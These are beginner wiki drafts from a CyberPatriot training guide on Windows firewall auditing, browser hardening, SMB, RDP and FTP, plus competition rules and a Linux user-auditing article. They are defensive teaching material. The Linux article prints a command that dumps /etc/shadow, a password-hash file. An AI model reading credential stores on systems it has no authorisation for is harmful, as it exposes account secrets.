* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn265982(v=ws.11)
* https://www.microsoft.com/en-us/download/details.aspx?id=55319
* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/how-to-configure-security-policy-settings
* https://github.com/scipag/HardeningKitty
* https://public.cyber.mil/stigs/scap/
* https://www.cisecurity.org/cis-benchmarks
* https://stigviewer.com/stigs

[[Category:Windows Group Policy|006]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Firewall Auditing - Beginner

2026-09-22T05:42:50Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): brody001301

Last Updated: 07-06-2026

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None

|}

== What is a firewall? ==

A firewall is a system that monitors and controls incoming and outgoing network traffic based on a set of rules.

Windows ships with a built-in firewall, officially called Windows Defender Firewall with Advanced Security, often referred to as WFAS, or simply "Windows Firewall". Windows Firewall runs as a service in the background and filters traffic before it ever reaches the applications running on the system. See the services section to understand how Windows services run.

== Why do we need to audit the firewall? ==

A firewall is only as strong as its configuration. A firewall with no rules, overly permissive rules, or rules that were added by malware or a careless administrator can leave a system just as exposed as having no firewall at all. Issues commonly found during an audit include:

* Rules that allow traffic from any address ("Any" or 0.0.0.0/0) when only a specific IP or subnet should be trusted
* Unnecessary inbound rules left enabled for programs or ports that are no longer in use
* Rules created by an installed application that are broader than the application actually needs
* The firewall being disabled entirely on one or more profiles (see below)
* Logging being disabled, meaning there is no record of blocked or allowed connections to investigate later

Just like with services, the goal of a firewall audit isn't to lock everything down blindly. Some inbound and outbound rules are required for the system to function correctly (file sharing, remote management, Windows Update, etc.). The goal is to make sure every rule that exists is necessary, scoped as tightly as possible, and matches what the benchmark or policy for your environment requires.

A great place to start is a STIG or CIS benchmark, which will typically have a section dedicated to firewall configuration and can tell you exactly what should be enabled, disabled, or configured a certain way. A link to at least one benchmark is in the References & Further Reading section below.

== How does the firewall work? ==

=== Profiles ===

Windows Firewall uses the concept of profiles to apply different rules depending on the type of network the computer is connected to. There are three profiles:

* '''Domain''' - Applied automatically when the computer is connected to a network where it can authenticate to a domain controller (i.e. a corporate/managed network)
* '''Private''' - Applied to networks the user has manually marked as trusted, such as a home or small office network
* '''Public''' - Applied to untrusted networks, such as coffee shop Wi-Fi or any network not marked as Private

Each profile can have its own independent settings: whether the firewall is on or off, the default action for inbound/outbound traffic, and which rules apply. This allows a laptop to be locked down tightly on Public networks but allow more traffic on its home Private network.

=== Rules ===

The firewall's behavior is defined by rules. Each rule can specify things like:

* '''Direction''': Inbound traffic coming into the machine, or Outbound traffic leaving the machine
* '''Action''': Allow or block a connection
* '''Program''': Restrict the rule to a specific executable
* '''Protocol and Ports''': e.g. TCP port 443, UDP port 53
* '''Scope''': Which local and remote IP addresses the rule applies to
* '''Profile''': Which of the three profiles (Domain/Private/Public) the rule applies to

By default, Windows Firewall blocks all unsolicited inbound traffic and allows all outbound traffic, then specific rules can be added on top of that baseline. Many built-in rules already exist for core Windows features such as file and printer sharing, remote desktop, network discovery, etc. Rules like these are typically disabled until the corresponding feature is turned on.

=== Logging ===

The firewall can be configured to log dropped packets, successful connections, or both, to a log file. This log is extremely valuable during an audit or an incident investigation, since it provides a record of what the firewall has actually been doing rather than just what it's configured to do. Logging is disabled by default and is one of the first things to check during an audit, since a benchmark will often require it to be turned on for both allowed and dropped connections.

== Configuring the firewall ==

There are multiple ways to view and configure the Windows Firewall. The main ones are outlined below. It is worth setting up a practice image or testing VM so you can get hands-on experience with each method before touching a production system.

=== Windows Defender Firewall with Advanced Security (wf.msc) ===

This is the GUI tool for configuring Windows Firewall in detail. To open it, search for "Windows Defender Firewall with Advanced Security" in the Windows search bar, or run <code>wf.msc</code> from the Run dialog or a terminal. From <code>wf.msc</code> you can:

* View and edit Inbound Rules and Outbound Rules separately
* Create new rules using a guided wizard with options for program, port, predefined feature, or custom
* View and edit Connection Security Rules, such as those used for IPsec
* Check and change the profile level settings (Domain/Private/Public) by right-clicking the root node and selecting Properties, including whether the firewall is on, the default inbound/outbound action, and logging settings

Double clicking any rule in the list brings up its Properties, letting you inspect or change its program, ports, scope, and profile in detail. This is generally the best tool for a manual, visual audit of exactly what rules exist and how they're scoped.

=== netsh advfirewall ===

<code>netsh</code> is a long standing command line tool for network configuration, and its <code>advfirewall</code> context is used specifically for the firewall. <code>netsh</code> is run from cmd.exe or PowerShell. Some useful examples:

* <code>netsh advfirewall show allprofiles</code> - shows the state and default settings of all three profiles
* <code>netsh advfirewall firewall show rule name=all</code> - lists every configured rule and its properties
* <code>netsh advfirewall set allprofiles logging droppedconnections enable</code> - turns on logging of blocked connections for all profiles

A full explanation of every <code>advfirewall</code> option is out of scope for this article, but running <code>netsh advfirewall firewall show rule name=all help</code>, or reading the documentation below, will give you a rundown of available options.

=== PowerShell (NetSecurity module) ===

PowerShell has a dedicated set of cmdlets for firewall management, found in the <code>NetSecurity</code> module. These generally follow the pattern <code>*-NetFirewall*</code>. Some of the most useful ones for auditing are:

* <code>Get-NetFirewallProfile</code> - shows the settings of each profile, including whether it's enabled and its default inbound/outbound actions
* <code>Get-NetFirewallRule</code> - lists all configured rules; can be piped to <code>Get-NetFirewallPortFilter</code> or <code>Get-NetFirewallAddressFilter</code> to see the specific ports or addresses tied to each rule
* <code>New-NetFirewallRule</code> / <code>Set-NetFirewallRule</code> - create or modify rules
* <code>Get-NetFirewallRule -Enabled True -Direction Inbound</code> - a quick way to filter down to just the active inbound rules, which is often the most important thing to check during an audit

As with any PowerShell cmdlet, you can run <code>Get-Help [command] -Full</code> for detailed usage and examples.

-----

=== References, Further Reading ===

* https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/
* https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-advfirewall
* https://learn.microsoft.com/en-us/powershell/module/netsecurity/
* https://downloads.cisecurity.org/
* https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/best-practices-configuring

[[Category:Windows Firewall|018]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Hardening Web Browsers

2026-09-22T05:42:49Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): a_person

Last Updated: 07-06-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

* Basic knowledge of Windows 
* Registry 
* Group Policy 

|}

== What are web browsers? ==

An app that helps you browse the web 🤯. In other words, a web browser is a software application that allows users to access and display web pages on the internet. The most common browsers are:

# Google Chrome
# Firefox
# Microsoft Edge These Web Browsers can be configured through the registry and are very similar when configuring security policies.

== Why do we need to secure them? ==

Securing web browsers are important for a variety of reasons, such as:

# Preventing the download of malicious software and reduce the likelihood of phishing attacks
# Protecting Sensitive Data(passwords, history, etc)
# Preventing Tracking

== Administrative Templates ==

Administrative Templates are a set of Group Policy settings in Windows that allow administrators to manage and configure the behavior and appearance of the Windows operating system and its components. Think of it as an add-on to group policy.

This is by far the easiest way of configuring policies, as it is much harder to go through documentation and find the right registry keys and set them to the right value. You can find them here:

# [https://support.google.com/chrome/a/answer/187202#zippy=%2Cwindows Google Chrome]
# [https://github.com/mozilla/policy-templates/releases Firefox]
# [https://www.microsoft.com/en-us/edge/business/download?cs=1873324239&form=MA13FJ Microsoft Edge]

== Main methods to secure Web Browsers ==

Because there are so many web browsers, this guide will cover the main concepts for hardening them. These principles apply with any web browser.

=== 1. Keep Your Browser and Extensions Updated ===

'''What it is:''' Self explanatory.

'''Why it's important:''' Attackers often exploit known vulnerabilities in outdated browser versions to install malware, steal data, or take control of your system.

=== 2. Enforce Secure Connections with HTTPS-Only Mode ===

'''What it is:''' This is a browser setting that forces connections to websites to use the encrypted HTTPS protocol. If a site doesn't support HTTPS, the browser will warn you before connecting or block the connection altogether.

'''Why it's important:''' An unencrypted HTTP connection lets anyone on the same network, like public Wi-Fi, potentially intercept and read your data, including passwords and personal information.

=== 3. Enable Safe Browsing and Phishing Protection ===

'''What it is:''' This is a security feature that checks the sites you visit and the files you download against a regularly updated list of known threats. It will warn you or block access to websites suspected of hosting malware, phishing schemes, or unwanted software.

'''Why it's important:''' This feature prevents accidentally going to a fraudulent banking site or downloading a virus disguised as a legitimate file.

=== 4. Block Third-Party Cookies and Tracking Content ===

'''What it is:''' This is a privacy setting that stops websites from using cookies and scripts from services you are not directly visiting. While first-party cookies can be useful, like keeping you logged in, third-party cookies are mainly used by advertisers and data brokers to build a profile of your online activity.

'''Why it's important:''' Blocking third-party trackers improves privacy, reduces targeted advertising, and protects you from malicious scripts that can be delivered through ad networks.

=== 5. Restrict Site Permissions ===

'''What it is:''' This allows you to control which websites can access your computer's hardware and sensitive information, such as your microphone, camera, location, and notifications. Browsers typically ask for your permission the first time a site requests access.

'''Why it's important:''' Unchecked permissions can be abused. A malicious or compromised website could spy on you through your camera, track your location, or spam you with unwanted notifications.

=== 6. Block Pop-ups and Malicious Redirects ===

'''What it is:''' This is a default browser feature that prevents websites from opening unexpected new windows or tabs.

'''Why it's important:''' Pop-ups are often used for phishing attacks and malware delivery. By blocking them, you prevent them.

=== 7. Manage Passwords and Autofill Securely ===

'''What it is:''' The browser's built-in password manager and autofill feature store sensitive data. Secure management means using a strong primary password, if available, to protect your stored credentials and being selective about what information the browser saves automatically.

'''Why it's important:''' If someone gains access to your unlocked computer, they could see all your saved passwords or use autofill to steal your identity or financial information.

=== 8. Configure Download Security Settings ===

'''What it is:''' This extends Safe Browsing by focusing on downloaded files. You can set it to automatically scan files for malware and warn you about potentially unwanted programs or files that are not commonly downloaded, which could indicate a threat.

'''Why it's important:''' Drive-by downloads and Trojan horse files are common ways malware infects a system. This setting adds an important checkpoint, prompting you to think twice before opening a potentially harmful file.

== Practice ==

Images such as potanic(4 vulns), Titan(2 vulns),DPRK(2 vulns), King Aurthor's castle(2 vulns), Tokyo(2 vulns), Apeture Science(3 vulns), and Kali's image(3 vulns), and PPTH(3 vulns) are some images with Browser Security vulnerabilities(excluding updating browsers) https://images.cypat.guide#gid=0

-----

=== STIGs, Benchmarks, and Documentation ===

* https://workbench.cisecurity.org/benchmarks/8691
* https://workbench.cisecurity.org/benchmarks/18454
* https://workbench.cisecurity.org/benchmarks/18501
* https://stigviewer.com/stigs/google_chrome_current_windows
* https://stigviewer.com/stigs/mozilla_firefox
* https://stigviewer.com/stigs/microsoft_edge
* https://chromeenterprise.google/policies/
* https://mozilla.github.io/policy-templates/
* https://learn.microsoft.com/en-us/deployedge/microsoft-edge-policies

[[Category:Windows Web Browser Security|017]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Introduction to SMB

2026-09-22T05:42:49Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

Author(s): a_person

Last Updated: 07-23-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

* Basic knowledge of Windows 
* Basic knowledge of Networking
* Basic knowledge of the Registry

|}

== What is it? ==

Server Message Block (SMB) is a communication protocol used to share files, printers, serial ports, and miscellaneous communications between nodes on a network. On Microsoft Windows, the SMB implementation consists of two Windows services: <code>Server</code> and <code>Workstation</code> (full service names are LanmanServer and LanmanWorkstation). Their full service names also are their names in their respective registry path. It uses NTLM or Kerberos protocols for user authentication. It also provides an authenticated inter-process communication (IPC) mechanism.

=== Why and Where is SMB Used? ===

The main purpose of SMB is to help computers on a network share resources easily. This connection between a client machine and a server's resources makes it an important protocol in almost every Windows-based environment.

Examples:

* '''Corporate File Sharing:''' Accessing a shared network drive on a company file server to open, edit, and save documents.
* '''Domain Administration:''' When a computer logs into a Windows domain, it uses SMB to connect to the Domain Controller’s <code>SYSVOL</code> and <code>NETLOGON</code> shares to download important login scripts and Group Policy security settings.
* '''Shared Network Printing:''' Sending a print job from your computer to a central printer that is shared across the office network.

== How does it work? ==

* The client sends an SMB request to the server to initiate the connection.
* When the server receives the request, it sends an SMB response back to the client, establishing the communication channel necessary for a two-way conversation.
* Once it is granted access, the client can access the required resource for reading, writing, executing and so on.

Since the network server has a resource that it shares with one or more clients, the protocol is also known as a server-client protocol. The SMB protocol operates on the application layer of the TCP/IP model, but relies on lower network levels for transport. When SMB was using NBT, it relied on ports 137, 138 and 139 for transport. Now, SMB runs directly over TCP/IP and uses port 445. Port 445 supports data encryption and digital signing of SMB packets, providing a more secure means of communication than port 139.

== Important Files and Locations ==

* <code>HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares</code> - Stores the definitions and paths of all SMB shares on the system.
* <code>HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters</code> - Controls SMB server settings.
* <code>HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters</code> - Controls SMB client settings.
* <code>C:\Windows\System32\srvsvc.dll</code> - Core DLL for the SMB server service.
* <code>C:\Windows\System32\srv.sys</code> - Kernel driver for SMB server functionality.
* <code>%SystemRoot%\System32\config</code> - Location of system registry hives, including those that store SMB configuration.
* <code>%UserProfile%\NTUSER.DAT</code> - Contains user-specific registry settings, including recent SMB connections and mount points.
* <code>UNC Paths (\Server\Share)</code> - Standard syntax for accessing SMB shares in Windows Explorer or via command line.
* <code>[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\DOS Devices]</code> - Maps network drives for all users by assigning a drive letter to a UNC path.
* <code>Administrative shares (C$, ADMIN$, IPC$)</code> - Hidden default shares for administrative access, automatically created by Windows.

== SMB Versions ==

=== SMB 1.x ===

* Designed in early 1980s by IBM; extended by Microsoft around 1990.
* Sends a lot of messages, causing performance issues on high-latency networks.
* Uses weak authentication (LAN Manager passwords, flawed DES).
* No native encryption; limited signing capabilities.

=== SMB 2.x (SMB 2.0 and 2.1) ===

* Introduced in 2006 with Windows Vista and Server 2008.
* Reduced messages sent with fewer commands and pipelining.
* Improved security with better signing (HMAC SHA-256).
* Improved performance and scalability.

=== SMB 3.x (3.0, 3.0.2, 3.1.1 and later) ===

* Introduced with Windows 8 / Server 2012.
* Major features for virtualization and datacenters
* Native '''encryption''' support:
** SMB 3.0: AES-128 CCM encryption.
** SMB 3.1.1 (Windows 10 / Server 2016): AES-128 GCM encryption and pre-authentication integrity (SHA-512).
* Mandatory secure negotiation on SMB 3.1.1.
* SMB 1 disabled by default starting Windows Server 2012 R2.

You can read more [https://en.wikipedia.org/wiki/Server_Message_Block#History here]

== Security ==

Some important security settings should be enforced, such as:

* '''Disable SMB 1.0''' - Older versions of SMB are less secure. Disable more if it does not harm compatibility.
* '''Strong Authentication''' - Use Kerberos when possible.
* '''Principle of Least Privilege''' - Grant users only the necessary permissions.
* '''Siging and Encrpytion''' - Use AES-128-GCM and enable SMB Signing on both clients and servers.
* '''Auditing''' - Obviously

== References & Further Reading ==

* https://en.wikipedia.org/wiki/Server_Message_Block
* https://www.techtarget.com/searchnetworking/definition/Server-Message-Block-Protocol
* https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview
* https://learn.microsoft.com/en-us/previous-versions/windows/desktop/mscs/file-share

== Practice ==

DPRK(3 vulns), Mushroom Kingdom(3 vulns), PPTH(3 vulns), and Among the Reindeer(2 vulns) are some images with SMB. https://images.cypat.guide#gid=0

-----

== Vulnerability Research ==

* https://stigviewer.com/stigs/microsoft_windows_server_2022
* https://workbench.cisecurity.org/benchmarks/21344

[[Category:Windows SMB|015]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Introduction to RDP

2026-09-22T05:42:49Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): a_person

Last Updated: 07-04-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

* Basic knowledge of Windows 
* Registry

|}

== What is RDP? ==

RDP (Remote Desktop Protocol) is a tool developed by Microsoft that lets you control one computer from another over a network. It is part of Windows Remote Desktop Services (RDS). RDP provides a graphical interface for easy access to the remote Windows desktop. This allows you to work with applications, files, and settings remotely.

Built into Windows and accessible through the Remote Desktop Connection client (mstsc.exe), RDP sends screen updates, keyboard input, and mouse movements between the client and the remote computer. It can transfer different types of data at the same time. RDP is used for remote work, system management, technical support, and application delivery. It helps users and IT professionals manage computers without needing to be physically present.

== Why and Where is RDP Used? ==

The main purpose of RDP is to provide control over a remote computer. Unlike Secure Shell(SSH), which is through a command line interface, RDP streams the entire desktop interface. This allows for easy remote management and interaction. Examples:

* '''IT Administration:''' System administrators use RDP to manage servers located in a data center or cloud environment that's running Windows Server, like Azure or AWS. Other servers, such as those running Linux, are typically managed using SSH.
* '''Remote Work:''' An employee working from home can use RDP to connect to their desktop computer at the office.
* '''Technical Support:''' A help desk technician can use RDP to remotely connect to a user's computer to troubleshoot issues, install software, or change settings directly.

== How RDP Works ==

=== The Protocol ===

Remote Desktop Protocol (RDP) connects to another computer over a network, usually through TCP port 3389 (default port). It comes preinstalled on Windows, and you can access it through the Remote Desktop Connection app. RDP can manage different types of data separately, such as screen display and keyboard input. It also supports sharing information with multiple users at once.

=== Connection Process: ===

# The user launches the Remote Desktop Connection client (<code>mstsc.exe</code>) on their Windows device.
# The client initiates a TCP connection to the server on port 3389 (by default).
# The user authenticates with their Windows username and password.
# Client and server negotiate encryption and authentication.
# Screen updates are sent to the client, and user inputs are relayed to the server.
# The remote desktop session is established, streaming the remote interface to the client while sending input back to the host.

== Security ==

The security of Remote Desktop Protocol (RDP) connections primarily relies on Windows authentication mechanisms. The two main protocols used for authenticating users during an RDP session are:

* \**NTLM (NT LAN Manager) - ** An older challenge-response authentication protocol. While still supported, NTLM is significantly less secure.
* '''Kerberos''' - Kerberos provides stronger security through mutual authentication (both client and server verify each other's identity) and protection against replay attacks. This is always the preferred method.

Other important security measures include:

* '''Network Level Authentication (NLA)''' - Requires the client to authenticate using Windows credentials (via Kerberos or NTLM) ''before'' the RDP session is fully established. This reduces the server’s attack surface and mitigates various attacks, such as credential brute-force and resource exhaustion.
* '''Encryption''' - RDP supports encryption through TLS (Transport Layer Security). It is recommended to enforce '''TLS 1.2 or later''' to avoid vulnerabilities in older versions and to protect session data in transit.
* '''Auditing and Monitoring''' - This goes with all the other critical services in the Application Security section.

== Important files and locations ==

* <code>HKCU\Software\Microsoft\Terminal Server Client\Default</code> - Stores connection history, credentials, and display settings.
* <code>HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server</code> - Controls server-side settings like security, licensing, and session limits.
* <code>C:\Users\[user]\Documents\Default.rdp</code> - Stores connection settings like hostname, IP, resolution, and credentials.
* <code>mstsc.exe</code> - Remote Desktop Connection client for initiating RDP sessions.
* <code>rdpclip.exe</code> - Manages clipboard sharing between local and remote systems.
* <code>tscon.exe</code> - Connects to terminal sessions via command line.
* <code>tsdiscon.exe</code> - Disconnects terminal sessions via command line.
* <code>termsrv.dll</code> - Core RDP server module handling connections.
* <code>wtsapi32.dll</code> - Windows Terminal Services API for interacting with RDP services.

-----

=== References & Further Reading ===

* https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/023f1e69-cfe8-4ee6-9ee0-7e759fb4e4ee
* https://en.wikipedia.org/wiki/Remote_Desktop_Protocol
* https://learn.microsoft.com/en-us/troubleshoot/windows-server/remote/understanding-remote-desktop-protocol

== Practice ==

DPRK(2 vulns), Tokyo 3(2 vulns), Baldi's Basics(2 vulns), Sunrise(3 vulns), Beyond Journey's End(2 vulns), Alphabet Soup(2 vulns), PPTH(3 vulns) are some images with RDP. https://images.cypat.guide#gid=0

-----

== Vulnerability Research ==

* https://stigviewer.com/stigs/microsoft_windows_11
* https://workbench.cisecurity.org/benchmarks/21318

[[Category:Windows RDP|014]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Introduction to FTP

2026-09-22T05:42:49Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

Author(s): a_person

Last Updated: 07-11-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

* Basic knowledge of Windows 
* Basic knowledge of Networking

|}

== What is it? ==

File Transfer Protocol (FTP) is a standard network protocol based on a client-server model. It is used for transferring computer files between a client and a server on a network. Even though it is one of the oldest internet protocols, it is still widely used for web development, large file sharing, and data storage.

SMB (what we talked about in the last 2 articles) and FTP are both network protocols used for transferring files between computers. They have several similarities. They both work over TCP/IP and can be used in client-server setups, where one device hosts the files and another device accesses them. SMB is most commonly used in local area networks (LANs), especially within Windows environments, where it facilitates file and printer sharing between devices. FTP is better for transferring files over wider networks, such as the internet, and is often used in website management, server-to-server data transfers, and automated file workflows.

The main issue of FTP is its lack of security. Credentials and data are sent in plain text. Because of this, modern secure options like FTPS (FTP over SSL/TLS) and SFTP (SSH File Transfer Protocol) are highly recommended for most situations.

== Why and Where is FTP Used? ==

The main purpose of FTP is to offer a straightforward way to transfer files between computers, especially over the internet. Unlike SMB, FTP serves as a dedicated tool for one task: uploading and downloading files. This straightforwardness has made it a standard choice for various automated and manual file transfer tasks, especially when systems with different operating systems need to share data.

Examples:

* '''Web Development:''' A web developer uses an FTP client (like FileZilla) to upload website files (HTML, images, scripts) from their computer to the web server that hosts the live site.
* '''Automated Data Exchange:''' Businesses set up automated scripts to transfer data files, such as daily sales reports or inventory updates, between their servers and those of their partners.
* '''Bulk Data Transfer:''' Companies and research institutions use FTP servers to share very large files, like software installers, large datasets, or video archives, that are too big to send via email.

== How does it work? ==

# The client starts a connection to the server's command channel, usually on Port 21. The client sends login details (username and password) for the server to confirm.
# After authentication, the client sends commands (like listing files, changing directories, or requesting a file) to the server through the command channel.
# When a file transfer or directory listing is needed, a second temporary data channel opens. The actual file content travels over this channel, which closes when the transfer finishes.

The way the data channel opens determines the mode. In Active mode, the server connects back to the client, but this is often blocked by firewalls. In Passive mode, the client starts the connection to the server. This method is more friendly to firewalls and is the modern standard.

== FTPS vs SFTP ==

It's important to note that while both offer secure transfers, FTPS is FTP secured by SSL/TLS. SFTP, however, is a different protocol built on top of SSH, using a single connection for both commands and data.

== Important Files and Locations ==

Note that this is when the FTP Server role is installed in IIS

* <code>C:\inetpub\ftproot</code> - Default location for hosted FTP content. Can be changed per site in IIS Manager.
* <code>C:\Windows\System32\inetsrv\config\applicationHost.config</code> - Stores all IIS site and FTP configuration settings.
* <code>C:\inetpub\logs\LogFiles\FTPSVC[SiteID]</code> - Contains FTP connection and transfer logs; [SiteID] matches the site’s numeric ID in IIS.
* <code>C:\Windows\System32\ftp.exe</code> - Basic FTP client for command-line transfers and testing.

== Microsoft FTP ==

Windows Server comes with a FTP server as part of IIS. It is not installed by default but can be turned on through "Turn Windows features on or off" or "Add Roles and Features" in Server Manager.

== Other FTP Servers ==

* '''FileZilla Server:''' A widely used free, open-source server that is simple to set up. It supports both FTP and FTPS and has an easy graphical interface for managing users and groups.
* '''Wing FTP Server:''' A flexible server that supports SFTP, FTPS, and HTTPS. It is known for its web-based administration interface, allowing for remote management from any browser.

== Common FTP Clients ==

* '''FileZilla Client:''' A free and open-source cross-platform client with a graphical user interface, supporting FTP, FTPS, and SFTP.
* '''WinSCP:''' (Windows only) A free graphical SFTP, SCP, S3, FTP, and WebDAV client. Known for its strong integration with Windows and scripting capabilities.

== References & Further Reading ==

* https://learn.microsoft.com/en-us/iis/install/installing-publishing-technologies/installing-and-configuring-ftp-7-on-iis-7
* https://wiki.filezilla-project.org/Main_Page
* https://www.cerberusftp.com/
* https://www.wftpserver.com/
* https://winscp.net/eng/docs/start
* https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ftp
* https://en.wikipedia.org/wiki/File_Transfer_Protocol

== Practice ==

Apeture Science(~5 vulns) and My Little Pony (2 vulns) are images with FTP. https://images.cypat.guide#gid=0

== Vulenrability Research ==

* https://learn.microsoft.com/en-us/iis/configuration/system.ftpserver/security/
* https://wiki.filezilla-project.org/Securing_your_Windows_Service_installation
* https://filezillapro.com/docs/server/advanced-options/setting-up-connection-security/
* https://support.cerberusftp.com/hc/en-us/articles/360000499020-Securing-Cerberus-FTP-Server-Best-Practices-for-Enhanced-Security
* https://www.wftpserver.com/help/ftpserver/index.html?security.htm
* https://winscp.net/eng/docs/security

[[Category:Windows FTP|016]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Rules

2026-09-22T05:42:49Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

== Important rules to know ==

# You '''CAN NOT''' use scripts developed by other competitors or any script designed for the CyberPatriot Competition. Teams from the same school or organization may not collaborate in creating scripts and may not share scripts with each other or other teams.
# You '''CAN NOT''' ask for another team's unique identifier (UID).
# You '''CAN NOT''' share competition specific information such as vulnerabilities and image contents. This also extends to previous competitions.
# You '''CAN NOT''' use large language models or artificial intelligence in helping you with Forensics Questions or Cisco Quizzes.
# You may use any resource as long as it is free and has not been accessed through monetary means; it must be publicly and reasonably available to all teams, not specifically created for the CyberPatriot competition or any event using CyberPatriot software, not staged online by your team, and not created by other teams, coaches, technical mentors, or team assistants.
# You '''CAN''' write your own scripts from scratch during the competition or beforehand, as long as they're original and not shared with others.
# You '''CAN''' use official documentation (Microsoft, Ubuntu, Cisco, etc.) and freely available online resources, like guides, and forums.
# You '''CAN''' use checklists, notes, or study guides that your '''own team''' has compiled, as long as they are '''not shared across teams'''.

Remember: If you think it's against the rules, it probably is.

== You can always check by consulting the rulebook: https://www.uscyberpatriot.org/competition/rules-book or emailing [mailto:cpoc@uscyberpatriot.org cpoc@uscyberpatriot.org]. ==

[[Category:General|999 Rules]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:User Auditing - Beginner

2026-09-22T05:42:45Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): c-bass

Last Updated: 7-1-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None! This is an introductory article.

|}

== Fundamental concepts ==

=== Users ===

A '''user''' on linux is just like a user on other operating systems, like MacOS or Windows: it's an account that represents something (a person or a process) that can access the system. Every user gets a unique username, a password, a home folder (called a ''directory'' on linux), and a UID (User ID, a number used by the system to uniquely identify users).

=== Groups ===

Put simply, a '''group''' on linux is a collection of users that share the same permissions. This makes access control significantly easier. Say you have a set of users that need access to a directory-- you can put them all in a group and give the group itself, not the individual users, access to that directory. This is advantageous since if you need to give more users access in the future, you can simply add them to the group. Note this is a ''singular'' use of groups - there are many other uses - but this demonstrates the usefulness groups can have. Each group has a GID (Group ID), just like how each user has a UID.

== Key files ==

=== The /etc/passwd file ===

The <code>/etc/passwd</code> file stores user info. Let's explore how it works:

<syntaxhighlight lang="bash">ubuntu@ubuntu:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash</syntaxhighlight>
There's one line per user. The first user listed is the ''root user'', having a UID of 0. This should be the only user to have this uid. The root user is an administration account with unrestricted access to the system. System users have UIDs below 1000 (like <code>daemon</code> in the output above), and normal users (like the <code>ubuntu</code> user above) have UIDs 1000 or greater.

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! What is a system user? (click to expand)
|-
|

Many of the users above are ''system users'', meaning they're for system accounts and not meant for actual use. A user is a system user if it has a UID under 1000. System users exist because many programs/services need a user account to own their respective files. For instance, a webserver needs a system account to own files in <code>/var/www</code>.

|}

Each line in <code>/etc/passwd</code> follows this format:

<syntaxhighlight lang="text">username:password:UID:GID:comment:home_directory:shell</syntaxhighlight>
There are some important things to note about this:

* Each user's password isn't stored in <code>/etc/passwd</code>, instead a ''placeholder'' takes the password field. Typically that placeholder is <code>x</code>, denoting the password hash is stored in another file (<code>/etc/shadow</code>). The same goes for the <code>/etc/group</code> file!
* While normal users have loginable shells, like <code>/bin/bash</code>, system users by convention don't have loginable shells, usually <code>/bin/false</code> or <code>/usr/sbin/nologin</code>.
* A GID denotes a user's ''primary group''. Secondary groups (often called supplementary groups) are denoted by entries in <code>/etc/group</code>. This'll be explained more below!

=== The /etc/group file ===

Like how <code>/etc/passwd</code> stores user info, the <code>/etc/group</code> file stores group info.

<syntaxhighlight lang="text">ubuntu@ubuntu:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
...
sudo:x:27:ubuntu
...</syntaxhighlight>
Each line follows this structure:

<syntaxhighlight lang="text">group:password:GID:users</syntaxhighlight>
A particularly important group is <code>sudo</code>: any user in the <code>sudo</code> group effectively has full access to the system.

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! What is a primary group? What is a supplementary group? (click to expand)
|-
|

Every user has exactly one '''primary group''' that is assigned when the user account is created - this is the group that owns files when the user creates them. Users can also belong to multiple '''supplementary groups''' (also called secondary groups) which give them additional permissions beyond their primary group. For example, a user named "josh" might have "josh" as their primary group but also belong to supplementary groups like "sudo" and "docker" to access those specific services. Primary groups are denoted by a user's GID in <code>/etc/passwd</code>, and supplementary groups are denoted by entries in <code>/etc/group</code>.

|}

=== The /etc/shadow file ===

The <code>/etc/shadow</code> file stores password hashes and other important information.

<syntaxhighlight lang="text">ubuntu@ubuntu:~$ sudo cat /etc/shadow
root:!:19827:0:99999:7:::
daemon:*:19790:0:99999:7:::
bin:*:19790:0:99999:7:::
sys:*:19790:0:99999:7:::
sync:*:19790:0:99999:7:::
...
